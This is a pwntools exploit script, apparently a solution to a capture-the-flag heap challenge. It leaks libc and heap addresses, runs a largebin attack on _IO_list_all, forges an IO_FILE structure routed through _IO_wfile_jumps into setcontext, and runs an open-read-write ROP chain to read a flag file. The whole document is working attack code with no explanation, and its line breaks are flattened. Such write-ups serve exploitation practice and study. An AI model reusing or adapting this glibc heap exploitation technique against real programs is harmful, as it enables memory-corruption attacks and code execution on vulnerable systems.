1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195
| from pwn import *
arch = 64 challenge = './CAT_DE1'
context.os='linux'
cmd = "set debug-file-directory ./.debug/\n"
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = gdb.debug(challenge,cmd) else: p = remote('xx.xx.xx.xx','xx') def debug(): gdb.attach(p,"b *$rebase(0x15EF)\n") def cmd(op): sla(">>",str(op)) def add(size,data="\x00"): cmd(1) sla("size:\n",str(size)) sa("content:\n",data)
def edit(index,data): cmd(4) sla("idx:\n",str(index)) sa("content:\n",data)
def show(index): cmd(3) sla("idx:\n",str(index))
def free(index): cmd(2) sla("idx:\n",str(index))
add(0x418) add(0x210) add(0x428) add(0x438) add(0x208) add(0x428) add(0x208)
free(0) free(3) free(5) free(2)
add(0x440,0x428*'a'+p64(0xc91)) add(0x418)
add(0x418) add(0x428)
free(3) free(2)
add(0x418,'a'*8+"\x00") add(0x418)
free(3) free(5)
add(0x9f8) add(0x428,'\x00')
edit(6,0x200*'a'+p64(0xc90)) add(0x418) add(0x208)
free(3) add(0x430,flat(0,0,0,p64(0x421))) add(0x1600)
show(4) p.recvuntil("context:\n") leak_addr=u64(p.recv(6).ljust(8,'\x00')) libc_base=leak_addr-0x21a310 log.success('leak_addr: '+hex(leak_addr)) log.success('libc_base: '+hex(libc_base))
show(5) p.recvuntil("context:\n") leak_addr=u64(p.recv(6).ljust(8,'\x00')) heap=leak_addr-0x290 log.success('leak_addr: '+hex(leak_addr)) log.success('heap_base: '+hex(heap))
setcontext=libc_base+libc.sym['setcontext']+61 open_libc=libc_base+libc.sym['open'] read_libc=libc_base+libc.sym['read'] write_libc=libc_base+libc.sym['write'] success("setcontext >> "+hex(setcontext))
IO_list_all = libc_base+0x21a680 stderr = libc_base+libc.sym['stderr'] IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps'] success("IO_list_all >> "+hex(IO_list_all)) success("IO_wfile_jumps >> "+hex(IO_wfile_jumps))
pop_rdi_ret=0x000000000002a3e5+libc_base pop_rsi_ret=0x000000000002be51+libc_base pop_rdx_pop_rbx_ret=0x0000000000090529+libc_base ret=0x0000000000029cd6+libc_base success("pop_rdi_ret >> "+hex(pop_rdi_ret)) success("pop_rsi_ret >> "+hex(pop_rsi_ret)) success("pop_rdx_pop_rbx_ret >> "+hex(pop_rdx_pop_rbx_ret)) success("ret >> "+hex(ret))
next_chain = 0 fake_io_addr = heap + 0x1360 - 0x10 payload_addr = heap success("fake_io_addr >> "+hex(fake_io_addr))
ORW_addr = heap+0x8e0 flag_addr = heap + 0x8e0 + 0x270
fake_IO_FILE = "/bin/sh\x00" fake_IO_FILE += p64(0)*5 fake_IO_FILE += p64(1)+p64(2) fake_IO_FILE += p64(ORW_addr-0xa0) fake_IO_FILE += p64(setcontext) fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(flag_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00') fake_IO_FILE += p64(IO_wfile_jumps+0x30) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x30+0x10)
chain = p64(ORW_addr) chain += flat(pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_libc) chain +=flat(pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_libc) chain +=flat(pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , write_libc).ljust(0x200,'\x00') + './flag\x00'
add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)) free(0) add(0x440,chain)
add(0x418) add(0x208) free(5) free(4)
add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350)+p64(IO_list_all-0x20)) free(11) add(0x500) add(0x410) free(4) add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350)*2)
payload = fake_IO_FILE+p64(flag_addr) add(0x420,payload)
pause() cmd(5)
p.interactive()
|